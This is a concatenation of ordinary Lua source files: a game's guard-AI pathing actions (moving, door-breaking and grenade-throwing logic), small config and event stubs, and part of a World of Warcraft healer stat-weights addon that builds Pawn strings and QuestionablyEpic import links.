return simdefs.BSTATE_FAILED
elseif canMoveReason ~= simdefs.CANMOVE_OK then
assert( canMoveReason )
--simlog( simdefs.LOG_PATH, "\tFAIL: (%d, %d) -> (%d, %d) (reason = %s)", x0, y0, moveTable[ #moveTable ].x, moveTable[ #moveTable ].y, canMoveReason )
path.result = canMoveReason
-- Unreserve the rest of the nodes, if they're still valid
unit:getPather():unreservePath(path)
if canMoveReason == simdefs.CANMOVE_NOMP then --ran out of MP
return self:onPathNoMP()
elseif canMoveReason == simdefs.CANMOVE_DYNAMIC_IMPASS then
-- Only continue behaviours if i was blocked by an enemy. If I'm blocked by a friendly, presumably something has
-- gone wrong with co-op pathfinding and I need to stop.
local blocker = simquery.findUnit(end_cell.units, function( u ) return u:getTraits().dynamicImpass end)
if blocker then
return self:onPathBlocked(blocker)
end
end
return simdefs.BSTATE_FAILED
elseif #nodes == 0 then
-- Consumed the entire path!
-- Not necessarily at the FINAL goal, as we will return partial results (the cooperative astar has a bounded search depth).
unit:getPather():unreserveNode(path, path.currentNode)
path.currentNode = nil
if moveAction then
local abilityDef = abilitydefs.lookupAbility(moveAction.ability)
if abilityDef and abilityDef:canUseAbility( sim, moveAction.owner, moveAction.user, unpack(moveAction.params) ) then
abilityDef:executeAbility(sim, moveAction.owner, moveAction.user, unpack(moveAction.params) )
end
if unit:getTraits().interrupted then
return simdefs.BSTATE_FAILED
end
if not moveAction.keepPathing then
return simdefs.BSTATE_WAITINGFORPCTURN
end
end
if path.goalx == x0 and path.goaly == y0 then
path.result = simdefs.CANMOVE_OK
self.unit:getBrain():setDestination(nil)
return simdefs.BSTATE_COMPLETE
else
path.result = simdefs.CANMOVE_PARTIAL_PATH
return simdefs.BSTATE_WAITING
end
else
if moveAction then
local abilityDef = abilitydefs.lookupAbility(moveAction.ability)
if abilityDef and abilityDef:canUseAbility( sim, moveAction.owner, moveAction.user, unpack(moveAction.params) ) then
abilityDef:executeAbility(sim, moveAction.owner, moveAction.user, unpack(moveAction.params) )
end
if unit:getTraits().interrupted then
return simdefs.BSTATE_FAILED
end
if moveAction.keepPathing then
return simdefs.BSTATE_RUNNING
else
return simdefs.BSTATE_WAITINGFORPCTURN
end
end
simlog( simdefs.LOG_PATH, "(%d) - waiting for path to clear", path.unit:getID(), path.result )
-- Still have path to process. This can only happen if we are waiting for a path reservation;
-- Read ourselves for reprocessing (the blocking path should hopefully have processed itself and unreserved by then)
return simdefs.BSTATE_WAITING
end
else
if #nodes > 0 then
if moveAction then
local abilityDef = abilitydefs.lookupAbility(moveAction.ability)
if abilityDef and abilityDef:canUseAbility( sim, moveAction.owner, moveAction.user, unpack(moveAction.params) ) then
abilityDef:executeAbility(sim, moveAction.owner, moveAction.user, unpack(moveAction.params) )
end
if unit:getTraits().interrupted then
return simdefs.BSTATE_FAILED
end
if moveAction.keepPathing then
return simdefs.BSTATE_RUNNING
else
--get rid of the rest of our path
path.result = simdefs.CANMOVE_PARTIAL_PATH
unit:getPather():unreservePath(path)
return simdefs.BSTATE_WAITINGFORPCTURN
end
end
return simdefs.BSTATE_WAITING
else
assert( path.currentNode, unit:getID().."\n"..util.stringize(path, 3))
unit:getPather():unreserveNode(path, path.currentNode)
path.currentNode = nil
self.unit:getBrain():setDestination(nil)
if path.goaldir then
unit:updateFacing( path.goaldir )
end
return simdefs.BSTATE_COMPLETE
end
end
end
return simdefs.BSTATE_FAILED
end
function Actions.MoveTo:shouldRecalculate()
local path = self.unit:getPather():getPath(self.unit)
local dest = self.unit:getBrain():getDestination()
if path then
if path.result ~= nil then
simlog( simdefs.LOG_PATH, "(%d) - recalculating path with existing result (%s)", path.unit:getID(), path.result )
return true
end
if dest and (path.goalx ~= dest.x or path.goaly ~= dest.y) then
simlog( simdefs.LOG_PATH, "(%d) - recalculating path after destination changed", path.unit:getID(), path.result )
return true
end
if path.path then
local startNode = path.path:getStartNode()
local currentNode = path.currentNode
local x,y = self.unit:getLocation()
if not (x == startNode.location.x and y == startNode.location.y) and not (x == currentNode.location.x and y == currentNode.location.y) then
simlog( simdefs.LOG_PATH, "(%d) - recalculating path after starting location changed", path.unit:getID(), path.result )
return true
end
end
end
return false
end
function Actions.MoveTo:onPathBlocked(blocker)
local x0, y0 = self.unit:getLocation()
local x1, y1 = blocker:getLocation()
if simquery.isEnemyTarget(self.unit:getPlayerOwner(), blocker) then
if mathutil.distSqr2d(x0, y0, x1, y1) <= 1 or not simquery.checkCover(self.unit:getSim(), self.unit, x1, y1) then
self.unit:getBrain():getSenses():addInterest(x0, y0, simdefs.SENSE_PERIPHERAL, simdefs.REASON_NOTICED)
end
return simdefs.BSTATE_RUNNING -- Keep trying
end
return simdefs.BSTATE_FAILED
end
function Actions.MoveTo:onPathNoMP()
return simdefs.BSTATE_WAITINGFORPCTURN
end
function Actions.MoveTo:update()
if not self:isRunning() or self:shouldRecalculate() then
self.status = simdefs.BSTATE_RUNNING
if self.getDestination then
local dest = self:getDestination(self.unit)
if not dest then
if self.onNoDestination then
self.status = self:onNoDestination()
else
local x,y = self.unit:getLocation() --by default we just try to path to where we're standing
local facing = self.unit:getFacing()
dest = {x=x, y=y, facing=facing}
end
end
if dest then
self.unit:getBrain():setDestination(dest)
self.status = self:calculatePath(self.unit)
end
end
end
if self:isRunning() then
if self.unit:canReact() then
self.status = self:executePath(self.unit)
else
self.status = simdefs.BSTATE_WAITINGFORCORPTURN
end
end
return self.status
end
function Actions.MoveTo:cancel()
self.unit:interruptMove(self.unit:getSim() )
self.unit:getBrain():setDestination(nil)
--cancel our path
self.unit:getPather():removePath(self.unit)
end
-----------------------------------------------------------------------------------------
Actions.MoveToTarget = class(Actions.MoveTo, function(self, name)
btree.BaseAction.init(self, name or "MoveToTarget")
end)
function Actions.MoveToTarget:getDestination()
local target = self.unit:getBrain():getTarget()
local x, y = target:getLocation()
local dest = { x = x, y = y, unit = target}
return dest
end
-----------------------------------------------------------------------------------------
Actions.MoveBesideTarget = class(Actions.MoveTo, function(self, name)
btree.BaseAction.init(self, name or "MoveBesideTarget")
end)
function Actions.MoveBesideTarget:getDestination()
local target = self.unit:getBrain():getTarget()
local x, y = target:getLocation()
if simquery.canUnitReach(self.sim, self.unit, x, y) then --already close enough
return nil
end
local neighbour = simquery.findNearestEmptyReachableCell(self.sim, x, y, self.unit )
if neighbour then
local facing = simquery.getDirectionFromDelta(x - neighbour.x, y - neighbour.y)
return {x = neighbour.x, y = neighbour.y, facing=facing, unit=target}
end
end
-----------------------------------------------------------------------------------------
Actions.MoveToInterest = class(Actions.MoveTo, function(self, name)
btree.BaseAction.init(self, name or "MoveToInterest")
end)
function Actions.MoveToInterest:getDestination()
local interest = self.unit:getBrain():getInterest()
local situation = self.unit:getBrain():getSituation()
local path = self.unit:getPather():getPath(self.unit)
if path and path.result == simdefs.CANMOVE_NOPATH and interest == self.unit:getBrain():getDestination() then
if situation.ClassType == simdefs.SITUATION_HUNT then
situation:requestNewHuntTarget(self.unit)
end
local x, y = self.unit:getLocation()
return {x=x, y=y, reason="Could not path"}
end
return interest
end
function Actions.MoveToInterest:onPathBlocked(blocker)
local interest = self.unit:getBrain():getInterest()
if blocker:getPlayerOwner() == self.unit:getPlayerOwner() and self.unit:getBrain():getDestination() == interest then
local x, y = self.unit:getLocation()
local x1, y1 = blocker:getLocation()
local sim = self.unit:getSim()
if x1==interest.x and y1==interest.y and simquery.canPathBetween(sim, self.unit, sim:getCell(x,y), sim:getCell(x1,y1) ) then
--close enough!
self:cancel()
return simdefs.BSTATE_COMPLETE
end
-- if interest.reason == simdef.REASON_FOUNDCORPSE and simquery.isEnemyAgent(self.unit:getPlayerOwner(), interest.sourceUnit)
-- and (interest.sourceUnit:isDead() or interest.sourceUnit:getTraits().iscorpse or simquery.isUnitPinned(sim, interest.sourceUnit)
if interest.sourceUnit and sim:canUnitSeeUnit(self.unit, interest.sourceUnit) then
--also close enough!
self:cancel()
return simdefs.BSTATE_COMPLETE
end
end
return Actions.MoveTo.onPathBlocked(self, blocker)
end
function Actions.MoveToInterest:onPathNoMP()
local interest = self.unit:getBrain():getInterest()
local x0, y0 = self.unit:getLocation()
if interest and self.unit:isAlerted() and (interest.x ~= x0 or interest.y ~= y0) then
local interestCell = self.unit:getSim():getCell(interest.x, interest.y)
local dir = simquery.getDirectionFromDelta(interest.x - x0, interest.y - y0)
if interestCell and self.unit:getFacing() ~= dir and simquery.couldUnitSeeCell(self.unit:getSim(), self.unit, interestCell) then
self.unit:turnToFace(interest.x, interest.y)
return simdefs.BSTATE_RUNNING
end
end
return Actions.MoveTo.onPathNoMP(self)
end
function Actions.MoveToInterest:addDoorBreakActions(sim, path)
local abilityDef = self.unit:ownsAbility("breakDoor")
if not abilityDef then
return
end
if not self.unit:isAlerted() then
return
end
local interest = self.unit:getBrain():getInterest()
if self.unit:getBrain():getDestination() ~= interest then
return
end
--don't kick doors down for these reasons
if interest.reason == simdefs.REASON_HUNTING or
interest.reason == simdefs.REASON_PATROLCHANGED then
return
end
local finalNode = path.path:getNodes()[#path.path:getNodes()]
local finalCell = sim:getCell(finalNode.location.x, finalNode.location.y)
--don't kick doors down if our interest doesn't lie on the other side of it
if finalCell.x ~= interest.x or finalCell.y ~= interest.y then
return
end
local secondLastNode = path.path:getStartNode()
if #path.path:getNodes() > 1 then
--step back through the path trying to find a node that isn't the finish
for i = #path.path:getNodes(), 1, -1 do
local node = path.path:getNodes()[i]
if node.location ~= finalNode.location then
secondLastNode = node
break
end
end
end
if not secondLastNode then
simlog( simdefs.LOG_PATH, "(%d) path not long enough to break door", path.unit:getID())
return
end
local secondLastCell = sim:getCell(secondLastNode.location.x, secondLastNode.location.y)
local doorDir = simquery.getDirectionFromDelta(finalCell.x-secondLastCell.x, finalCell.y-secondLastCell.y)
if simquery.checkIsDoor(sim, secondLastCell, doorDir) and abilityDef:canUseAbility(sim, self.unit, self.unit, secondLastCell, doorDir) then
--add a breakDoor action to the path
simlog( simdefs.LOG_PATH, "(%d) path adding breakDoor action at (%d, %d) %s", path.unit:getID(), secondLastCell.x, secondLastCell.y, simdefs:stringForDir(doorDir))
self.unit:getPather():addActionToPath(path, secondLastNode, {ability="breakDoor", owner=self.unit, user=self.unit, params={}, keepPathing=true } )
end
end
function Actions.MoveToInterest:addThrowGrenadeActions(sim, path)
local abilityDef, grenadeUnit = self.unit:ownsAbility("throw")
if not abilityDef or not grenadeUnit then
return
end
local x0, y0 = self.unit:getLocation()
local destination = self.unit:getBrain():getDestination()
if destination ~= self.unit:getBrain():getInterest() then
return
end
if destination.x == x0 and destination.y == y0 then
return
end
if self.unit:getBrain():getInterest().grenadeHit then
return
end
--find the first part of the path that gives us LOS to the interest
local throwRange = self.unit:getTraits().maxThrow or 0
local minThrowRange = self.unit:getTraits().minThrow or 0
local targetCell = sim:getCell(path.goalx, path.goaly)
local cellsInRange = {}
table.insert(cellsInRange, targetCell)
local aimRange = grenadeUnit:getTraits().aimRange or grenadeUnit:getTraits().range
if aimRange and aimRange > 0 then
--only cells in range with LOS to the targetcell should be considered
for i,testCell in ipairs(simquery.fillCircle( sim, targetCell.x, targetCell.y, aimRange, 0) ) do
if testCell ~= targetCell then
local raycastX, raycastY = sim:getLOS():raycast(testCell.x, testCell.y, targetCell.x, targetCell.y)
if raycastX == targetCell.x and raycastY == targetCell.y then
table.insert(cellsInRange, testCell)
end
end
end
end
local node = path.path:getStartNode()
local i = 1
repeat
local startCell = sim:getCell(node.location.x, node.location.y)
local closestCell, closestDist
if startCell ~= targetCell then
for k, endCell in ipairs(cellsInRange) do
local throwDistSq = mathutil.distSqr2d(startCell.x, startCell.y, endCell.x, endCell.y)
if throwDistSq < throwRange*throwRange and throwDistSq > minThrowRange*minThrowRange then
local raycastX, raycastY = sim:getLOS():raycast(startCell.x, startCell.y, endCell.x, endCell.y)
if raycastX == endCell.x and raycastY == endCell.y then
--it's a valid cell to throw to
local distSqFromTarget = mathutil.distSqr2d(endCell.x, endCell.y, targetCell.x, targetCell.y)
if not closestCell or distSqFromTarget < closestDist then
closestCell = endCell
closestDist = distSqFromTarget
end
end
end
end
end
if closestCell then
--add a ThrowGrenade action to the path
local target = {closestCell.x, closestCell.y}
simlog( simdefs.LOG_PATH, "(%d) path adding throw action from (%d, %d) to (%d, %d)", path.unit:getID(), node.location.x, node.location.y, closestCell.x, closestCell.y)
self.unit:getPather():addActionToPath(path, node, {ability="throw", owner=grenadeUnit, user=self.unit, params={target}, keepPathing = grenadeUnit:getTraits().keepPathing } )
break
end
node = path.path:getNodes()[i]
i = i + 1
until not node
end
-----------------------------------------------------------------------------------------
Actions.MoveToNextPatrolPoint = class(Actions.MoveTo, function(self, name)
btree.BaseAction.init(self, name or "MoveToNextPatrolPoint")
end)
function Actions.MoveToNextPatrolPoint:getDestination()
return self.unit:getBrain():getPatrolPoint()
end
-----------------------------------------------------------------------------------------
Actions.MoveToNearestExit = class(Actions.MoveTo, function(self, name)
btree.BaseAction.init(self, name or "MoveToNearestExit")
end)
function Actions.MoveToNearestExit:getDestination()
local sim = self.unit:getSim()
local startCell = sim:getCell(self.unit:getLocation() )
local guardCells = sim:getCells("guard_spawn")
--to do: reduce the cells we path to down to just the closest ones for each guard elevator
local astar = include ("modules/astar" )
local astar_handlers = include("sim/astar_handlers")
local pather = astar.AStar:new(astar_handlers.aihandler:new(self.unit) )
local closestCell, closestPathDist
for i, cell in ipairs(guardCells) do
local path = pather:findPath( startCell, cell )
if path then
--make sure our path doesn't go through
local pathDist = path:getTotalMoveCost()
if not closestCell or pathDist < closestPathDist then
closestCell = cell
closestPathDist = pathDist
end
end
end
if closestCell then
return {x=closestCell.x, y=closestCell.y}
end
end
-----------------------------------------------------------------------------------------
Actions.MoveAwayFromAgent = class(Actions.MoveTo, function(self, name)
btree.BaseAction.init(self, name or "MoveAwayFromAgent")
end)
function Actions.MoveAwayFromAgent:onNoDestination()
return simdefs.BSTATE_FAILED
end
function Actions.MoveAwayFromAgent:onNoPath()
return simdefs.BSTATE_FAILED
end
function Actions.MoveAwayFromAgent:getDestination()
local sim = self.unit:getSim()
local x0, y0 = self.unit:getLocation()
local target = self.unit:getBrain():getTarget()
if not target and self.unit:getBrain():getInterest()
and self.unit:getBrain():getInterest().reason == simdefs.REASON_LOSTTARGET and not self.unit:getBrain():getInterest().investigated then
target = self.unit:getBrain():getInterest().sourceUnit
end
if target then
local x1, y1 = target:getLocation()
local deltaX, deltaY = x0-x1, y0-y1
local raycastX, raycastY = sim:getLOS():raycast(x1, y1, x1+20*deltaX, y1+20*deltaY)
raycastX = deltaX < 0 and math.ceil(raycastX) or math.floor(raycastX)
raycastY = deltaY < 0 and math.ceil(raycastY) or math.floor(raycastY)
local cell = sim:getCell(raycastX, raycastY)
if cell and not (cell.x == x0 and cell.y == y0) then
if cell.impass == 0 then
return {x=cell.x, y=cell.y}
else
--check all the nearby cells for ones we can hide in
for i, v in ipairs(cell.exits) do
if not v.door and v.cell.impass == 0 then
return {x=v.cell.x, y=v.cell.y}
end
end
end
end
end
end
-----------------------------------------------------------------------------------------
Actions.MoveAroundTarget = class(Actions.MoveTo, function(self, name)
btree.BaseAction.init(self, name or "MoveAroundTarget")
end)
function Actions.MoveAroundTarget:getDestination()
local x, y = self.unit:getBrain():getTarget():getLocation()
local sim = self.unit:getSim()
local neighbour = simquery.findNearestEmptyCell( sim, x, y, self.unit)
if neighbour then
local facing = simquery.getDirectionFromDelta(x - neighbour.x, y - neighbour.y)
return {x = neighbour.x, y = neighbour.y, facing=facing}
end
end
-----------------------------------------------------------------------------------------
return Actions
|
require "config"
require "utils"
require("plugins").setup()
|
local events = {}
events.navigate_up = "navigate_up"
events.navigate_down = "navigate_down"
events.navigate_left = "navigate_left"
events.navigate_right = "navigate_right"
events.change_path = "change_path"
events.command_prompt = "command_prompt"
events.cancel = "cancel"
events.execute = "execute"
events.quit = "quit"
events.suspend = "suspend"
return events
|
local name, addon = ...;
local media = LibStub("LibSharedMedia-3.0");
--[[----------------------------------------------------------------------------
Strings & Patterns
------------------------------------------------------------------------------]]
local pattern_title = "%s";
local pattern_left = "Intellect\n"
.. "Critical Strike%s\n"
.. "Haste%s\n"
.. "Versatility%s\n"
.. "Mastery%s\n"
.. "Leech";
local pattern_right = "%.2f\n"
.. "%.2f\n"
.. "%.2f\n"
.. "%.2f\n"
.. "%.2f\n"
.. "%.2f";
local haste_hpct = " (HPCT)";
local haste_hpm = "";
local vers_dr = " (DR)";
local crit_resurg = " (R)";
local pawn_pattern = [[( Pawn: v1: "%s": Class=%s, Spec=%s, Intellect=%.2f, CritRating=%.2f, HasteRating=%.2f, Versatility=%.2f, MasteryRating=%.2f, Leech=%.2f)]];
local pawn_str_name = "%s-HSW-%s";
local pawn_title = "Pawn String (Ctrl+A to select all, Ctrl+C to copy):";
local pawn_dialog_name = "HSW_GETPAWNSTRING";
local clearsegments_dialog_name = "HSW_CLEARALLSEGMENTS";
local clearsegments_title = "Clear all segments?";
local qelive_title = "QE Live Website (Ctrl+A to select all, Ctrl+C to copy):";
local qelive_pattern = "https://questionablyepic.com/live/?import=HSW&spec=%s&pname=%s&realm=%s®ion=%s&CriticalStrike=%.2f&HasteHPCT=%.2f&HasteHPM=%.2f&Mastery=%.2f&Versatility=%.2f&Leech=%.2f&content=%s";
local qelive_noname_pattern = "https://questionablyepic.com/live/?import=HSW&spec=%s&CriticalStrike=%.2f&HasteHPCT=%.2f&HasteHPM=%.2f&Mastery=%.2f&Versatility=%.2f&Leech=%.2f&content=%s";
--[[----------------------------------------------------------------------------
UpdateDisplayStats - update the display to show the given stats
------------------------------------------------------------------------------]]
function addon:UpdateDisplayStats()
local int,crt,hst,vrs,mst,lee = addon:GetStatsForDisplay();
self.frame.textR:SetFormattedText(pattern_right,int,crt,hst,vrs,mst,lee);
end
--[[----------------------------------------------------------------------------
UpdateDisplayTitle - update the title of the display
------------------------------------------------------------------------------]]
function addon:UpdateDisplayTitle(title)
self.frame.textTitle:SetFormattedText(pattern_title,title);
end
--[[----------------------------------------------------------------------------
UpdateDisplayLabels - update the display to reflect current filter settings
------------------------------------------------------------------------------]]
function addon:UpdateDisplayLabels()
local crit_suffix = (self.hsw.db.global.useCritResurg and self:IsRestoShaman()) and crit_resurg or "";
local haste_suffix = self.hsw.db.global.useHPMoverHPCT and haste_hpm or haste_hpct;
local vers_suffix = self.hsw.db.global.useVersDR and vers_dr or "";
local mastery_suffix = "";
self.frame.textL:SetFormattedText(
pattern_left, crit_suffix, haste_suffix, vers_suffix, mastery_suffix
);
end
--[[----------------------------------------------------------------------------
SetCurrentSegment - Change the currently-displayed segment
------------------------------------------------------------------------------]]
function addon:SetCurrentSegment(segmentID)
self.currentSegment = segmentID;
local id;
if ( segmentID == 0 ) then
id = "Current Fight";
elseif ( segmentID == "Total" ) then
id = "Total";
else
local segment = self.SegmentManager:Get(self.currentSegment);
id = segment.id;
end
self:UpdateDisplayLabels();
self:UpdateDisplayStats();
self:UpdateDisplayTitle(id);
end
--[[----------------------------------------------------------------------------
GetStatsForDisplay
------------------------------------------------------------------------------]]
function addon:GetStatsForDisplay()
local segment = self.SegmentManager:Get(self.currentSegment);
if ( not segment ) then
return 1,0,0,0,0,0;
end
local t = segment.t;
if ( t.int == 0 ) then
return 1,0,0,0,0,0;
end
local usingHPCT = not self.hsw.db.global.useHPMoverHPCT;
local usingVersDR = self.hsw.db.global.useVersDR;
local usingCritResurg = self:IsRestoShaman() and self.hsw.db.global.useCritResurg;
local INT = 1;
local CRIT = (usingCritResurg and (segment:GetManaRestoreValue()/addon.CritConv + t.crit) or t.crit) / t.int;
local HASTE = (usingHPCT and segment:GetHasteHPCT() or segment:GetHaste()) / t.int;
local VERS = (usingVersDR and t.vers_dr or t.vers) / t.int;
local MAST = t.mast / t.int;
local LEECH = t.leech / t.int;
local MP5 = segment:GetMP5();
return INT,CRIT,HASTE,VERS,MAST,LEECH,MP5;
end
--[[----------------------------------------------------------------------------
SegmentMenu - Create & Display a segment selection dropdown menu
------------------------------------------------------------------------------]]
function addon:SegmentMenu()
local menu = {
{ text = "Select a Segment", isTitle = true},
{ text = "Total", func = function() addon:SetCurrentSegment("Total") end },
{ text = "Current Fight", func = function() addon:SetCurrentSegment(0) end}
};
for i=1,self.SegmentManager:Size()-1,1 do
local segment = self.SegmentManager:Get(i);
table.insert(menu,{ text = segment.id, func = function() addon:SetCurrentSegment(i) end });
end
if ( self.currentSegment == "Total" ) then
menu[2].checked = true;
elseif ( self.currentSegment == "Current" ) then
menu[3].checked = true;
else
menu[3+(self.currentSegment or 0)].checked = true;
end
local menuFrame = CreateFrame("Frame", "HSW_SegmentMenu_Frame", UIParent, "UIDropDownMenuTemplate");
EasyMenu(menu, menuFrame, "cursor", 0 , 0, "MENU");
end
--[[----------------------------------------------------------------------------
Show - Display the stats panel
------------------------------------------------------------------------------]]
function addon:Show()
addon.frameVisible = true;
self:SetCurrentSegment(self.currentSegment or "Total");
if ( self.frame ) then
self.frame:Show();
end
end
--[[----------------------------------------------------------------------------
Hide - Hide the stats panel
------------------------------------------------------------------------------]]
function addon:Hide()
addon.frameVisible = false;
if ( self.frame ) then
self.frame:Hide();
end
end
--[[----------------------------------------------------------------------------
Msg - print a message to chat
------------------------------------------------------------------------------]]
function addon:Msg(s)
if s then
DEFAULT_CHAT_FRAME:AddMessage("|cff00fbf6[HSW]|r "..tostring(s),1,1,1);
end
end
--[[----------------------------------------------------------------------------
Enabled - Check if the addon should be enabled.
------------------------------------------------------------------------------]]
function addon:Enabled()
if ( self.StatParser:IsCurrentSpecSupported() ) then
if ( HSW_ENABLE_FOR_TESTING ) then
return true;
end
local _,_,id = GetInstanceInfo();
if (( id == 1 and self.hsw.db.global.enabledInNormalDungeons ) or
( id == 2 and self.hsw.db.global.enabledInHeroicDungeons ) or
( id == 23 and self.hsw.db.global.enabledInMythicDungeons ) or
( id == 8 and self.hsw.db.global.enabledInMythicPlusDungeons ) or
( id == 14 and self.hsw.db.global.enabledInNormalRaids ) or
( id == 15 and self.hsw.db.global.enabledInHeroicRaids ) or
( id == 16 and self.hsw.db.global.enabledInMythicRaids ) or
( id == 17 and self.hsw.db.global.enabledInLfrRaids )) then
return true;
elseif self.hsw.db.global.alwaysEnabled then
return true;
end
end
return false;
end
--[[----------------------------------------------------------------------------
InRaidInstance - Check if we are in a raid instance
------------------------------------------------------------------------------]]
function addon:InRaidInstance()
local _,_,id = GetInstanceInfo();
return id and (id >= 14 and id <= 17);
end
--[[----------------------------------------------------------------------------
InMythicPlus - Check if we are in a mythic+ instance
------------------------------------------------------------------------------]]
function addon:InMythicPlus()
local _,_,id = GetInstanceInfo();
return id and (id == 8);
end
--[[----------------------------------------------------------------------------
AdjustVisibility - Show or hide the frame
------------------------------------------------------------------------------]]
function addon:AdjustVisibility()
if ( not self.hsw.db.global.neverShow and (self:Enabled() or self.hsw.db.global.alwaysShow) ) then
self:Show();
else
self:Hide();
end
end
--[[----------------------------------------------------------------------------
Lock - lock the stats panel
------------------------------------------------------------------------------]]
function addon:Lock()
self:Msg("Healer Stat Weights frame locked.")
self.hsw.db.global.frameLocked = true;
self.frame:EnableMouse(not self.hsw.db.global.frameLocked);
self.frame:SetMovable(not self.hsw.db.global.frameLocked);
end
--[[----------------------------------------------------------------------------
Unlock - unlock the stats panel
------------------------------------------------------------------------------]]
function addon:Unlock()
self:Msg("Healer Stat Weights frame unlocked.")
self.hsw.db.global.frameLocked = false;
self.frame:EnableMouse(not self.hsw.db.global.frameLocked);
self.frame:SetMovable(not self.hsw.db.global.frameLocked);
end
--[[----------------------------------------------------------------------------
Pawn String - Dialog to display pawn string for current segment
------------------------------------------------------------------------------]]
function addon:GetPawnString()
local segment = self.SegmentManager:Get(self.currentSegment);
local int,crt,hst,vrs,mst,lee = addon:GetStatsForDisplay();
local class = UnitClass("Player");
local specId = GetSpecialization();
local title = string.format(pawn_str_name,class,(segment and segment.id or "Unknown"));
return self:GetPawnStringRaw(title,class,specId,int,crt,hst,vrs,mst,lee);
end
function addon:GetPawnStringRaw(title,class,specId,int,crt,hst,vrs,mst,lee)
return string.format(pawn_pattern,title,class,specId,int,crt,hst,vrs,mst,lee);
end
addon.PawnHistoryDialogName = pawn_dialog_name.."_HISTORY";
StaticPopupDialogs[addon.PawnHistoryDialogName] = {
text = pawn_title,
button1 = OKAY,
button2 = CANCEL,
hasEditBox = true,
editBoxWidth = 600,
maxLetters = 9999,
OnShow = function (self, data)
local s = addon:GetPawnStringFromHistory();
print(s);
self.editBox:SetText(s)
end,
timeout = 0,
exclusive = 1,
hideOnEscape = 1,
whileDead = 1
}
StaticPopupDialogs[pawn_dialog_name] = {
text = pawn_title,
button1 = OKAY,
button2 = CANCEL,
hasEditBox = true,
editBoxWidth = 600,
maxLetters = 9999,
OnShow = function (self, data)
local s = addon:GetPawnString();
print(s);
self.editBox:SetText(s)
end,
timeout = 0,
exclusive = 1,
hideOnEscape = 1,
whileDead = 1
}
--[[----------------------------------------------------------------------------
QE Live String - Dialog to display link to questionably epic website for current segment
------------------------------------------------------------------------------]]
function addon:GetQELiveStringRaw(specid,name,realm,regionLetters,crt,hstHPCT,hstHPM,mst,vrs,lee,isDungeon)
local s;
local contentStr = isDungeon and "dungeon" or "raid";
if ( name and realm and regionLetters ) then
s = string.format(qelive_pattern,specid,name,realm,regionLetters,crt,hstHPCT,hstHPM,mst,vrs,lee,contentStr);
else
s = string.format(qelive_noname_pattern,specid,crt,hstHPCT,hstHPM,mst,vrs,lee,contentStr);
end
s = string.gsub(s,"%'","%%27");
s = string.gsub(s," ","%%20");
return s;
end
addon.QELiveDialogName = pawn_dialog_name.."_QELIVE";
StaticPopupDialogs[addon.QELiveDialogName] = {
text = qelive_title,
button1 = OKAY,
button2 = CANCEL,
hasEditBox = true,
editBoxWidth = 600,
maxLetters = 9999,
OnShow = function (self, data)
local s = addon:GetQELiveStringFromHistory();
print(s);
self.editBox:SetText(s)
end,
timeout = 0,
exclusive = 1,
hideOnEscape = 1,
whileDead = 1
}
--[[----------------------------------------------------------------------------
Clear All Segments - Dialog to clear segments
------------------------------------------------------------------------------]]
StaticPopupDialogs[clearsegments_dialog_name] = {
text = clearsegments_title,
button1 = YES,
button2 = NO,
OnAccept = function ()
addon.SegmentManager:ResetAllSegments();
addon:SetCurrentSegment(0);
end,
timeout = 0,
exclusive = 1,
hideOnEscape = 1,
whileDead = 1
}
--[[----------------------------------------------------------------------------
StartFight - Start a new combat segment
------------------------------------------------------------------------------]]
function addon:StartFight(id)
if ( self:Enabled() ) then
if ( not self.inCombat ) then
self:UpdatePlayerStats();
self.UnitManager:Cache();
if ( self:IsHolyPaladin() ) then
self:CountBeaconsAtStartOfFight();
elseif ( self:IsDiscPriest() ) then
self.DiscPriest.PWSTracker:EncounterStart();
self.DiscPriest.LBTracker:EncounterStart();
self.DiscPriest.AtonementTracker:EncounterStart();
elseif ( self:IsHolyPriest() ) then
self.HolyPriest.EOLTracker:EncounterStart();
end
self.SegmentManager:Enqueue(id);
--Set start time of total segment to match current segment
local cur_seg = self.SegmentManager:Get(0);
local ttl_seg = self.SegmentManager:Get("Total");
if ( ttl_seg and cur_seg ) then
ttl_seg.startTime = cur_seg.startTime;
end
self.inCombat = true;
self:AdjustVisibility();
end
end
end
--[[----------------------------------------------------------------------------
EndFight - End current combat segment
------------------------------------------------------------------------------]]
function addon:EndFight(encounter_end)
if ( self.inCombat ) then
self.inCombat = false;
local cur_seg = self.SegmentManager:Get(0);
local ttl_seg = self.SegmentManager:Get("Total");
if ( cur_seg ) then
cur_seg:End();
self:AddHistoricalSegment(cur_seg);
end
if ( ttl_seg ) then
ttl_seg:End();
end
end
end
--[[----------------------------------------------------------------------------
makeButton - Helper function used by SetupFrame
------------------------------------------------------------------------------]]
local function makeButton(parent, title, description, tex, clickfunc)
local btn = CreateFrame("Button", nil, parent)
btn.title = title
btn:SetFrameLevel(5)
btn:ClearAllPoints()
btn:SetHeight(16)
btn:SetWidth(16)
btn:SetNormalTexture(tex)
btn:SetHighlightTexture(tex, 1.0)
btn:SetAlpha(0.35)
btn:RegisterForClicks("LeftButtonUp", "RightButtonUp")
btn:SetScript("OnClick", clickfunc)
btn:SetScript("OnEnter",
function(this)
GameTooltip_SetDefaultAnchor(GameTooltip, this)
GameTooltip:SetText(title)
GameTooltip:AddLine(description, 1, 1, 1, true)
GameTooltip:Show()
end)
btn:SetScript("OnLeave", function() GameTooltip:Hide() end)
btn:Show()
-- Add to our list of buttons.
table.insert(parent.buttons,btn);
end
--[[----------------------------------------------------------------------------
AdjustFontSizes - Change the font sizes on the stat weights frame
------------------------------------------------------------------------------]]
function addon:AdjustFontSizes()
local p,s,f;
p,s,f = self.frame.textL:GetFont();
self.frame.textL:SetFont(p,self.hsw.db.global.fontSize,"OUTLINE");
p,s,f = self.frame.textR:GetFont();
self.frame.textR:SetFont(p,self.hsw.db.global.fontSize,"OUTLINE");
p,s,f = self.frame.textTitle:GetFont();
self.frame.textTitle:SetFont(p,self.hsw.db.global.fontSize+2,"OUTLINE");
end
function addon:AdjustFontColor()
local color = self.hsw.db.global.fontColor;
self.frame.textL:SetTextColor(color.r,color.g,color.b,color.a);
self.frame.textR:SetTextColor(color.r,color.g,color.b,color.a);
self.frame.textTitle:SetTextColor(color.r,color.g,color.b,color.a);
end
--[[----------------------------------------------------------------------------
AdjustWidth - Change the width of the stat weights frame
------------------------------------------------------------------------------]]
local btn_size = 16;
function addon:AdjustWidth(newWidth)
self.frame:SetWidth(newWidth);
self.frame.textTitle:SetWidth(newWidth-btn_size*4);
end
--[[----------------------------------------------------------------------------
AdjustFonts - Change the font used by the stat weights frame
------------------------------------------------------------------------------]]
function addon:AdjustFonts()
local p,s,f = self.frame.textL:GetFont();
